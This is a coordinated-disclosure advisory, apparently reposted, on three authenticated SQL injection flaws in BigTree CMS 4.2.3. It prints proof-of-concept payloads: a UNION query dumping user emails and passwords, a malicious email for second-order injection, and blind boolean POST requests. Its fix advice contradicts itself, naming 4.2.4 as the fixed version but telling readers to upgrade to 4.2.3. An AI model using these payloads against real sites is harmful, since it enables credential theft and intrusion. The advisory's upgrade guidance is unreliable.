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BigTree CMS 4.2.3 - Authenticated SQL Injection Vulnerabilities
BigTree CMS 4.2.3: Multiple SQL Injection Vulnerabilities Security Advisory – Curesec Research Team Online-Reference: http://blog.curesec.com/article/blog/BigTree-CMS-423-Multiple-SQL-Injection-Vulnerabilities-39.html 1. Introduction Affected Product: BigTree CMS 4.2.3 Fixed in: 4.2.4 Fixed Version Link: https://github.com/bigtreecms/BigTree-CMS/archive/4.2.3.zip Vendor Contact: contribute@bigtreecms.org Vulnerability Type: Multiple SQL Injections Remote Exploitable: Yes Reported to vendor: 07/07/2015 Disclosed to public: 08/07/2015 Release mode: Coordinated release CVE: n/a Credits Tim Coen of Curesec GmbH 2. Vulnerability Description Various components of the admin area of the BigTree CMS are vulnerable to SQL injection, which can lead to data leaks as well as compromisation of the host. Please note that you have to be authenticated to exploit this issue. SQL Injection 1 The script that processes page view requests passes the "id" GET request value to functions which put this value directly into SQL queries. No prepared statements or escaping is used, thus opening it up to SQL injection. Proof of Concept (Show all BigTree users): http://localhost//BigTree-CMS/site/index.php/admin/pages/view-tree/0' union all select 1,concat(email, ":", password),3,4,5,6,7,8,9,10 from bigtree_users %23/ Code: core/admin/modules/pages/view-tree.php:151; page id is user controlled $nav_visible = array_merge($admin->getNaturalNavigationByParent($page["id"],1),$admin->getPendingNavigationByParent($page["id"])); $nav_hidden = array_merge($admin->getHiddenNavigationByParent($page["id"]),$admin->getPendingNavigationByParent($page["id"],"")); $nav_archived = $admin->getArchivedNavigationByParent($page["id"]); core/inc/bigtree/admin.php:2638 static function getArchivedNavigationByParent($parent) { [...] $q = sqlquery("SELECT id,nav_title as title,parent,external,new_window,template,publish_at,expire_at,path,ga_page_views FROM bigtree_pages WHERE parent = '$parent' AND archived = 'on' ORDER BY nav_title asc"); core/inc/bigtree/admin.php:3167 static function getHiddenNavigationByParent($parent) { [...] $q = sqlquery("SELECT id,nav_title as title,parent,external,new_window,template,publish_at,expire_at,path,ga_page_views FROM bigtree_pages WHERE parent = '$parent' AND in_nav = '' AND archived != 'on' ORDER BY nav_title asc"); core/inc/bigtree/admin.php:3758 static function getNaturalNavigationByParent($parent,$levels = 1) { [...] $q = sqlquery("SELECT id,nav_title AS title,parent,external,new_window,template,publish_at,expire_at,path,ga_page_views FROM bigtree_pages WHERE parent = '$parent' AND in_nav = 'on' AND archived != 'on' ORDER BY position DESC, id ASC"); core/inc/bigtree/admin.php:4531 static function getPendingNavigationByParent($parent,$in_nav = true) { [...] $q = sqlquery("SELECT * FROM bigtree_pending_changes WHERE pending_page_parent = '$parent' AND `table` = 'bigtree_pages' AND type = 'NEW' ORDER BY date DESC"); SQL Injection 2 When creating a new user, the email address is not checked server side, so it is possible to set it to anything. When logging in, the email address is saved in the session, and later used to retrieve user data. This happens without prepared statements, thus opening the query up to SQL injection. Proof of Concept: 1. Create User f'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10%23bar@example.com 2. Log in 3. result can be seen in multiple places Code: core/inc/bigtree/admin.php:81 $f = sqlfetch(sqlquery("SELECT * FROM bigtree_users WHERE id = '".$_SESSION["bigtree_admin"]["id"]."' AND email = '".$_SESSION["bigtree_admin"]["email"]."'")); SQL Injection 3 (Blind) The function used to calculate the SEO score of a post for Ajax requests passes unsanitized user input to a function performing the actual computation. This function does not use prepared statements, thus opening it up to SQL injection. The result of the query is never echoed to the end user, making this a blind SQL injection. Proof of Concept: http://localhost//BigTree-CMS/site/index.php/admin/ajax/pages/get-seo-score POST: content=foo&resources=bar&id=foo' or 1=2%23&title=Trees of All Sizes http://localhost//BigTree-CMS/site/index.php/admin/ajax/pages/get-seo-score POST: content=foo&resources=bar&id=foo' or 1=1%23&title=Trees of All Sizes Code: core/admin/ajax/pages/get-seo-score.php:4: $seo = $admin->getPageSEORating($_POST,$_POST["resources"]); core/inc/bigtree/admin.php:4222 static function getPageSEORating($page,$content) { [...] if ($page["title"]) { $score += 5; // They have a title, let's see if it's unique $r = sqlrows(sqlquery("SELECT * FROM bigtree_pages WHERE title = '".sqlescape($page["title"])."' AND id != '".$page["id"]."'")); 3. Solution To mitigate this issue please upgrade at least to version 4.2.3: https://github.com/bigtreecms/BigTree-CMS/archive/4.2.3.zip Please note that a newer version might already be available. 4. Report Timeline 07/07/2015 Informed Vendor about Issue 07/08/2015 Vendor send Fixes for confirmation 07/10/2015 Fixes Confirmed 07/26/2015 Vendor releases Version 4.2.3 08/07/2015 Disclosed to public # 0day.today [2024-11-16] #